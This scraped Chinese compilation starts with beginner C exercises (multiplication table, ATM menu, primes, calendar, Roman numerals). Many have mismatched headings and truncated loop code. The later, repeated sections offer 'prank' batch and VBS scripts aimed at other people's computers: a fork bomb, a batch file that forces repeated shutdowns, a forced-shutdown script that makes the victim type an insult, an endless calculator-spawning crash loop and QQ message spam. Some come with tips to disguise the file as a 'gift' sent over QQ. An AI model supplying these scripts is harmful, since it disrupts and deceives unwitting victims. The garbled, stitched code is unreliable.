C语言代码大全

C语言代码大全
C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛

乘法口诀表

#include

#include

void main(void)

{

int i,j,x,y;

clrscr();

printf("\n\n * * * 乘法口诀表* * * \n\n");

x=9;

y=5;

for(i=1;i<=9;i++)

{

gotoxy(x,y);

printf("%2d ",i);

x+=3;

}

x=7;

y=6;

for(i=1;i<=9;i++)

{

gotoxy(x,y);

printf("%2d ",i);

y++;

}

x=9;

y= 6;

for(i=1;i<=9;i++)

{

for(j=1;j<=9;j++)

{

gotoxy(x,y);

printf("%2d ",i*j);

y++;

}

y-=9;

x+=3;

}

printf("\n\n");

}

用一维数组统计学生成绩

#include

void main()

{

char SelectKey,CreditMoney,DebitMoney;

while(1)

{

do{

clrscr();

puts("=========================");

puts("| Please select key: |");

puts("| 1. Quary |");

puts("| 2. Credit |");

puts("| 3. Debit |");

puts("| 4. Return |");

puts("=========================");

SelectKey = getch();

}while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' &&

SelectKey!='4' );

switch(SelectKey)

{

case '1':

clrscr();

puts("================================");

puts("| Your balance is $1000. |");

puts("| Press any key to return... |");

puts("================================");

getch();

break;

case '2':

do{

clrscr();

puts("==================================");

puts("| Please select Credit money: |");

puts("| 1. $50 |");

puts("| 2. $100 |");

puts("| 3. Return |");

puts("==================================");

CreditMoney = getch();

}while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' );

switch(CreditMoney)

{

case '1':

clrscr();

puts("=========================================");

puts("| Your Credit money is $50,Thank you! |");

puts("| Press any key to return... |");

puts("=========================================");

getch();

break;

case '2':

clrscr();

puts("==========================================");

puts("| Your Credit money is $100,Thank you! |");

puts("| Press any key to return... |");

puts("==========================================");

getch();

break;

case '3':

break;

}

break;

case '3':

do{

clrscr();

puts("====================================");

puts("| Please select Debit money: |");

puts("| 1. $50 |");

puts("| 2. $100 |");

puts("| 3. $500 |");

puts("| 4. $1000 |");

puts("| 5. Return |");

puts("====================================");

DebitMoney = getch();

}while( DebitMoney!='1' && DebitMoney!='2' && DebitMoney!='3' &&DebitMoney!='4' && DebitMoney!='5' );

switch(DebitMoney)

{

case '1':

clrscr();

puts("===========================================");

puts("| Your Debit money is $50,Thank you! |");

puts("| Press any key to return... |");

puts("===========================================");

getch();

break;

case '2':

clrscr();

puts("===========================================");

puts("| Your Debit money is $100,Thank you! |");

puts("| Press any key to return... |");

puts("===========================================");

getch();

break;

case '3':

clrscr();

puts("===========================================");

puts("| Your Debit money is $500,Thank you! |");

puts("| Press any key to return... |");

puts("===========================================");

getch();

break;

case '4':

clrscr();

puts("===========================================");

puts("| Your Debit money is $1000,Thank you! |");

puts("| Press any key to return... |");

puts("===========================================");

getch();

break;

case '5':

break;

}

break;

case '4':

clrscr();

puts("================================");

puts("| Thank you for your using! |");

puts("| Good bye! |");

puts("================================");

return;

}

}

模拟ATM(自动柜员机)界面

#include void main()

{

int Password=0,Number=0,price=58,i=0;

while( Password != 1234 )

{

if( i >= 3 )

return;

i++;

puts("Please input Password: ");

scanf("%d",&Password);

}

i=0;

while( Number!=price )

{

do{

puts("Please input a number between 1 and 100: ");

scanf("%d",&Number);

printf("Your input number is %d\n",Number);

}while( !(Number>=1 && Number<=100) );

if( Number >= 90 )

{

printf("Too Bigger! Press any key to try again!\n");

}

else if( Number >= 70 && Number < 90 )

{

printf("Bigger!\n");

}

else if( Number >= 1 && Number <= 30 )

{

printf("Too Small! Press any key to try again!\n");

}

else if( Number > 30 && Number <= 50 )

{

printf("Small! Press any key to try again!\n");

}

else

{

if( Number == price )

{

printf("OK! You are right! Bye Bye!\n");

}

else if( Number < price )

{

printf("Sorry,Only a little smaller! Press any key to try again!\n");

}

else if( Number > price )

{

printf(" Sorry, Only a little bigger! Press any key to try again!\n");

}

getch();

}

}

用二维数组实现矩阵转置

/* 用二维数组实现矩阵的转置*/

#include

#define ROW 3

#define COL 4

main()

{

int matrixA[ROW][COL],matrixB[COL][ROW];

int i,j; clrscr();

printf("Enter elements of the matrixA,");

printf("%d*%d:\n",ROW,COL);

for( i=0; i

{

for( j=0; j

{

scanf("%d",&matrixA[i][j]);

}

}

for( i=0; i

{

for( j=0; j

{

matrixB[j][i] = matrixA[i][j];

}

}

printf("MatrixB,");

printf("%d*%d:\n",COL,ROW);

for( i=0; i

{

for( j=0; j

{

printf("%8d",matrixB[i][j]);

}

printf("\n");

}

printf("\n Press Any Key to Quit... \n");

getch();

}

求解二维数组的最大/最小元素

#define MAXN 20

int a[MAXN][MAXN];

main()

{

int min, /* 存储最小值*/

max; /* 存储最大值*/

int row,col,n;

clrscr();

printf("Please input the order of the matrix:\n");/* 输入方阵的阶次*/ scanf("%d",&n);

printf("Please input the elements of the matrix,\n from a[0][0] to a

[%d][%d]:\n",n-1,n-1);

for(row=0;row

for(col=0;col

scanf("%d",&a[row][col]);

for(min=a[0][0],row=0;row

{

/* 从每行选出最大数*/

for(max=a[row][0],col=1;col

if(max

max=a[row][col];

if(min>max)/* 保存至row行的最小数*/

min=max;

}

printf("The minimum of maximum number is %d\n",min);

for(max=a[0][0],row=0;row

{

/* 每行选出最小数*/

for(min=a[row][0],col=1;cola[row][col])

min=a[row][col];

if(max

max=min;

}

printf("The maximum of minimum numbers is %d\n",max);

printf("\nPress any key to quit...\n");

getch();

}

利用数组求前n个质数

#define N 50

main()

{

int primes[N];

int pc,m,k; clrscr();

printf("\n The first %d prime numbers are:\n",N);

primes[0]=2;/*2是第一个质数*/

pc =1;/*已有第一个质数*/

m =3;/*被测试的数从3开始*/

while(pc

{

/*调整m使它为下一个质数*/

k=0;

while(primes[k]*primes[k]<=m)

if(m%primes[k]==0)

{/*m是合数*/

m+=2;/*让m取下一个奇数*/

k=1;/*不必用primes[0]=2去测试m,所以k从一开始*/

}

else

k++;/*继续用下一个质数去测试*/

primes[pc++]=m;

m+=2;/*除2外,其余质数均是奇数*/

}

/*输出primes[0]至primes[pc-1]*/

for(k=0;k

printf("%4d",primes[k]);

printf("\n\n Press any key to quit...\n ");

getch();

}

编制万年历

#include "stdio.h"

long int f(int year,int month)

{/*f(年,月)=年-1,如月<3;否则,f(年,月)=年*/

if(month<3) return year-1;

else return year;

} long int g(int month)

{/*g(月)=月+13,如月<3;否则,g(月)=月+1*/

if(month<3) return month+13;

else return month+1;

} long int n(int year,int month,int day)

{

/*N=1461*f(年、月)/4+153*g(月)/5+日*/

return 1461L*f(year,month)/4+153L*g(month)/5+day;

} int w(int year,int month,int day)

{

/*w=(N-621049)%7(0<=w<7)*/

return(int)((n(year,month,day)%7-621049L%7+7)%7);

} int date[12][6][7];

int day_tbl[ ][12]={{31,28,31,30,31,30,31,31,30,31,30,31},

{31,29,31,30,31,30,31,31,30,31,30,31}};

main()

{int sw,leap,i,j,k,wd,day;

int year;/*年*/

char title[]="SUN MON TUE WED THU FRI SAT";

clrscr();

printf("Please input the year whose calendar you want to know: ");/*输

入年*/

scanf("%d%*c",&year);/*输入年份值和掠过值后的回车*/

sw=w(year,1,1);

leap=year%4==0&&year%100||year%400==0;/*判闰年*/

for(i=0;i<12;i++)

for(j=0;j<6;j++)

for(k=0;k<7;k++)

date[i][j][k]=0;/*日期表置0*/

for(i=0;i<12;i++)/*一年十二个月*/

for(wd=0,day=1;day<=day_tbl[leap][i];day++)

{/*将第i+1月的日期填入日期表*/

date[i][wd][sw]=day;

sw=++sw%7;/*每星期七天,以0至6计数*/

if(sw==0) wd++;/*日期表每七天一行,星期天开始新的一行*/

} printf("\n|==================The Calendar of Year %d

=====================|\n|",year);

for(i=0;i<6;i++)

{/*先测算第i+1月和第i+7月的最大星期数*/

for(wd=0,k=0;k<7;k++)/*日期表的第六行有日期,则wd!=0*/

wd+=date[i][5][k]+date[i+6][5][k];

wd=wd?6:5;

printf("%2d %s %2d %s |\n|",i+1,title,i+7,title);

for(j=0;j

{

printf(" ");/*输出四个空白符*/

/*左栏为第i+1月,右栏为第i+7月*/

for(k=0;k<7;k++)

if(date[i][j][k])

printf("%4d",date[i][j][k]);

else printf(" ");

printf(" ");/*输出十个空白符*/

for(k=0;k<7;k++)

if(date[i+6][j][k])

printf("%4d",date[i+6][j][k]);

else printf(" ");

printf(" |\n|");

}

/*scanf("%*c");/*键入回车输出下一个月的日历*/

}

puts

("=================================================================|") ;

puts("\n Press any key to quit...");

getch();

}

对数组元素排序

rest(int a[], int n)

{

int i,low,high,t; for(i=0,low=0,high=n-1;i<=high;) {

if(a[i]>0)

{

/*a[i]与a[high]交换,随之high减1*/

t=a[i];

a[i]=a[high];

a[high]=t;

high--;

}

else if(a[i]==0)

i++; /* 掠过该元素*/

else

{

/*a[i]与a[low]交换,随之low增1, i增1*/

t=a[i];

a[i]=a[low];

a[low]=t;

low++;

i++;

}

}

}

int s[]={8,4,0,-1,6,0,-5};

main()

{

int i;

clrscr();

printf("\n The arry before rest is:\n");

for(i=0;i

printf("%4d",s[i]);

rest(s,sizeof(s)/sizeof(s[0]));

printf("\n The arry after rest is:\n");

for(i=0;i

printf("%4d",s[i]);

printf("\n Press any key to quit...\n");

getch();

}

任意进制数的转换

/* 函数trans将无符号整数n翻译成d(2<=d<=16)进制表示的字符串s */ #define M sizeof(unsigned int)*8

int trans(unsigned n, int d, char s[])

{

static char digits[] ="0123456789ABCDEF"; /* 十六进制数字的字符*/

char buf[M+1];

int j, i = M;

if(d<2||d>16)

{

s[0]='\0'; /* 不合理的进制,置s为空字符串*/

return 0; /* 不合理的进制,函数返回0 */

}

buf[i]='\0';

do

{

buf[--i]=digits[n%d]; /*译出最低位,对应字符存入对应工作数组中*/

n/=d;

}while(n);

/* 将译出在工作数组中的字符串复制到s */

for(j=0;(s[j]=buf[i])!='\0';j++,i++);

/* 其中控制条件可简写成s[j]=buf[i] */

return j;

}

/* 主函数用于测试函数trans() */

main()

{

unsigned int num = 253;

int scale[]={2,3,10,16,1};

char str[33];

int i;

clrscr();

for(i=0;i

{

if(trans(num,scale[i],str))

printf("%5d = %s(%d)\n",num,str,scale[i]);

else

printf("%5d => (%d) Error! \n",num,scale[i]);

}

printf("\n Press any key to quit...\n");

getch();

}

判断回文数

/* 函数circle用于判断正整数n的d进制数表示形式是否是回文数*/ int circle(int n, int d)

{

int s=0,m=n;

while(m)

{

s=s*d+m%d;

m/=d;

}

return s==n;

}

/* main函数用于测试circle函数*/

int num[]={232,27,851};

int scale[]={2,10,16};

main()

{

int i,j;

clrscr();

for(i=0;i

for(j=0;j

if(circle(num[i],scale[j]))

printf("%d -> (%d) is a Circle Number!\n",num[i],scale[j]);

else

printf("%d -> (%d) is not a Circle Number!\n",num[i],scale[j]);

printf("\n Press any key to quit...\n");

getch();

}

求解钢材切割的最佳订单

#include

#define N 20

#define DELTA 2

int bestlen;

int bestsele[N];

int sele[N];

int n;

int orderlen[N];

int total;

main()

{

int i;

clrscr();

printf("\n Please enter total length of the steel:\n");/* 输入钢材总长

*/

scanf("%d",&total);

printf("\n Please enter number of order:\n"); /* 输入定单数*/ scanf("%d",&n);

printf("\n Please enter the orders:\n"); /* 输入各定单*/

for(i=0;i

scanf("%d",&orderlen[i]);

bestlen=0; /*最佳解用料的初值*/

for(i=0;i

sele[i]=bestsele[i]=0; /*置当前选择和最佳选择初值*/

try(); /* 调用函数求解*/

for(i=0;i

if(bestsele[i])

printf("order %d length = %d\n",i+1,orderlen[i]);

printf("\n Press any key to quit...");

getch();

}

try()

{

int i,len;

for(len=i=0;i

if(sele[i])

len+=orderlen[i]+DELTA;

if(len-DELTA<=total) /* 注意最后一段可能不需要切割*/

{

if(bestlen < len)

{

/* 找到一个更好的解*/

bestlen = len;

for(i=0;i

bestsele[i]=sele[i];

}

for(i=0;i

if(!sele[i])

{

sele[i]=1; /* 做选中尝试*/

try();

sele[i]=0;

}

}

}

指向数组的指针

main()

{

int x,y,z; /* 定义三个int型变量*/

int *xp = &x, /* 定义指针变量xp,并赋值为x的地址,使xp指向x */ *yp = &y, /* 定义指针变量yp,并赋值为y的地址,使yp指向y */

*zp = &z; /* 定义指针变量zp,并赋值为z的地址,使zp指向z */

int t;

printf("\nPlease input x,y,z:\n");

scanf("%d%d%d",xp,yp,zp); /* 通过变量的指针,为变量输入值*/ if(*xp>*yp) /* 通过指向变量的指针引用变量的值*/

{

t=*xp; /* 通过指向变量的指针引用变量的值*/

*xp=*yp;/* 通过指向变量x的指针xp,引用变量x的值*/

*yp=t; /* 通过指向变量y的指针yp,引用变量y的值*/

}

if(*xp>*zp) /* 通过指向变量的指针,引用变量的值*/

{

t=*xp; /* 通过指向变量x的指针xp,引用变量x的值*/

*xp=*zp;/* 通过指向变量x的指针xp,引用变量x的值*/

*zp=t; /* 通过指向变量z的指针zp,引用变量z的值*/

}

if(*yp>*zp) /* 通过指向变量的指针,引用变量的值*/

{

t=*yp; /* 通过指向变量的指针,引用变量的值*/

*yp=*zp;/* 通过指向变量y的指针yp,引用变量y的值*/

*zp=t;/* 通过指向变量z的指针zp,引用变量z的值*/

}

printf("x = %d\ty = %d\tz = %d\n",x,y,z);

printf("\nPress any key to quit...\n");

getch();

}

阿拉伯数字转换为罗马数字

#include

#define ROWS 4

#define COLS 4

int nums[ROWS][COLS]={{1000,1000,1000,1000},

{900,500,400,100},

{90,50,40,10},

{9,5,4,1}};

char *roms[ROWS][COLS]={{"m","m","m","m"}, {"cm","d","cd","c"},

{"xc","l","xl","x"},

{"ix","v","iv","i"}}; main(int argc,char *argv[ ])

{

int low,high;

char roman[25]; if(argc<2)

{ printf("Usage:roman decimal_number\n");/*运行程序需带整数参数*/

}

high=low=atoi(argv[1]);/*将第一个参数转换成整数*/

checknum(low);

if(argc>2)

{/*带两个参数*/

high=atoi(argv[2]);

checknum(high);

if(low>high)

{

low=high;

high=atoi(argv[1]);

}

}

else

low=1;

for(;low<=high;low++)

{

to_roman(low,roman);

printf("%d\t%s\n",low,roman);

}

} checknum(int val)/*检查参数合理性*/

{

if(val<1||val>9999)

{

printf("The number must be in range 1..9999.\n");

exit(0);

}

}

to_roman(int decimal,char roman[ ])/*将整数转换成罗马数字表示*/ {

int power,index;

roman[0]='\0';

for(power=0;power

for(index=0;index

while(decimal>=nums[power][index])

{

strcat(roman,roms[power][index]);

decimal-=nums[power][index];

}

}

通讯录的输入输出

#include

#define ZIPLEN 10

#define PHONLEN 15

/*struct addr类型定义*/ struct addr

{

char *name;/*姓名*/

char *address;/*地址*/

char zip[ZIPLEN];/*邮政编码*/

char phone[PHONLEN];/*电话号码*/

}; main()/*本主函数示意上述输入输出函数的用法*/

{

struct addr p[100];

int i,j;

clrscr();

for(i=0;readaddr(p+i);i++);

for(j=0;j

puts("\n Press any key to quit...");

getch();

} /* 函数readaddr用于输入一个通信录函数*/

int readaddr(struct addr *dpt)

{

int len;

char buf[120];/*输入字符串的缓冲区*/ printf("\nPlease input the

Name:\n");/*输入姓名*/

if(scanf("%s",buf)==1)

{

len=strlen(buf);

dpt->name=(char *)malloc(len+1);/*申请存贮姓名的空间*/ strcpy(dpt->name,buf);

}

else return 0;/*Ctrl+Z结束输入*/

printf("Please input the Address:\n");/*输入地址*/

if(scanf("%s",buf)==1)

{

len=strlen(buf);

dpt->address=(char *)malloc(len+1);/*申请存贮地址的空间*/ strcpy(dpt->address,buf);

}

else

{/*Ctrl+Z结束输入*/

free(dpt->name);/*释放存贮姓名的空间*/

return 0;

}

printf("Please input the Zip code:\n");/*输入邮编*/

if(scanf("%s",buf)==1)

strncpy(dpt->zip,buf,ZIPLEN-1);

else

{

free(dpt->name);/*释放存贮姓名的空间*/

free(dpt->address);/*释放存贮地址的空间*/

return 0;/*Ctrl+Z结束输入*/

}

printf("Please input the Phone number:\n");/*输入电话号码*/ if(scanf("%s",buf)==1)

strncpy(dpt->phone,buf,PHONLEN-1);

else

{

free(dpt->name);

free(dpt->address);

return 0;/*Ctrl+Z结束输入*/

}

return 1;

} /* 函数writeaddr用于输出通讯录*/

int writeaddr(struct addr*dpt)

{

printf("Name : %s\n", dpt->name);/*输出姓名*/

printf("Address : %s\n", dpt->address);/*输出地址*/

printf("Zip : %s\n", dpt->zip);/*输出邮编*/

printf("Phone : %s\n\n", dpt->phone);/*输出电话号码*/

}

扑克牌的结构表示

enum suits{CLUBS,DIAMONDS,HEARTS,SPADES}; struct card

{

enum suits suit;

char value[3];

};

struct card deck[52];

char cardval[][3]= {"A","2","3","4","5","6","7","8","9","10","J","Q","K"};

char suitsname[][9]={"CLUBS","DIAMONDS","HEARTS","SPADES"}; main() {

int i,j;

enum suits s;

clrscr();

for(i=0;i<=12;i++)

for(s=CLUBS;s<=SPADES;s++)

{

j=i*4+s;

deck[j].suit=s;

strcpy(deck[j].value,cardval[i]);

}

for(j=0;j<52;j++)

printf("(%s%3s)%c",suitsname[deck[j].suit],deck[j].value,j%

4==3?'\n':'\t');

puts("\nPress any key to quit...");

getch();

}

用“结构”统计学生成绩

#include

#define N 200

#define SCORES 5

#define NUMLEN 10

struct std_type{

char no[NUMLEN];/*学号*/

char *name;/*名字符串指针*/

int scores[SCORES];/*五门功课的成绩*/

};

struct std_type students[N];

int order[N];

int total[N]; /*[函数]输入一个学生信息函数*/

int readastu(struct std_type *spt)

{

int len,j;

char buf[120];/*输入字符串的缓冲区*/ printf("\nNumber : ");/*输入学号

*/

if(scanf("%s",buf)==1)

strncpy(spt->no,buf,NUMLEN-1);

整人电脑代码

第一个:让别人内存OVER(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第二个:让对方重启指定次数(害人专用) @off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机, 结束任务都不行,他只能说他是猪才能解决问题。够坏吧注意哦,你可以把我是猪那个修

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

整人电脑代码修订稿

整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】

第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

VBS经典代码大全

VBS代码片断大全[一] 1 VBS 取得本机IP strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next -------------------------------------------------------------------------------- 2 取得本机计算机名 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem") For Each objComputer in colComputers Wscript.Echo https://www.360docs.net/doc/178654830.html, Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查Hot Fix strComputer = "." Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering") For Each objQuickFix in colQuickFixes Wscript.Echo "Description: " & objQuickFix.Description

整人代码大全

整人代码大全 让对方重启指定次数(害人专用) @echo off if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1s if not exist c: echo. >c: & goto err1 if not exist c: echo. >c: & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个if not exist c: echo. >c: & goto err1那 就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”, 保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。

善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = ("") " /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机, 不信,试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = ("") " /c shutdown -a",0 ,true

VB整人程序代码大全

vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell

VBS脚本常用代码大全 2011 整理

VBS脚本常用经典代码收集 于 2011年7月2日21:13:37 整理 在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。 VBS播放音乐 Dim wmp Set wmp=CreateObject("WMPlayer.OCX") wmp.openState wmp.URL="想象之中.mp3" Do Until wmp.playState=1 WScript.Sleep1000 Loop 比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set shell=CreateObject("WScript.Shell") shell.run"shutdown-s-t60-c系统即将关闭.",0 While InputBox("请输入答案","请回答")<>"123"'密码是123 MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层 Wend shell.run"shutdown-a",0 MsgBox"恭喜",64 修改桌面背景图片 Sphoto="d:\1.bmp"'输入你自己的BMP路径 computer="." Const hkcu=&h80000001 Set wmi=GetObject("winmgmts:\\"&computer&"\root\default:stdregprov") wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0" wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2" wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1 Set wmi=Nothing Set fso=CreateObject("scripting.filesystemobject") Set fs=fso.Getfile(Sphoto) backname=https://www.360docs.net/doc/178654830.html,

整人电脑代码

整人电脑代码 Last updated on the afternoon of January 3, 2021

第一个:让别人内存OVER(逼他重启) @off startcmd %0 就这3行了 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off ifnotexistc:.>c:&gotoerr1 ifnotexistc:.>c:&gotoerr1 ifnotexistc:.>c:&gotoerr1 ifnotexistc:.>c:&gotoerr1 ifnotexistc:.>c:&gotoerr1 gotoerr2 :err1 shutdown-s-t0 :err2 上面可以让对方电脑重启5次后不在重启,当然如果你修改一下加个 ifnotexistc:.>c:&gotoerr1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”,把代码部分复制进去,点“另存为”,路径选“你想要放的地方”,保存类型为“所有文件”,文件名为“你想要的名字.bat”,你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉.

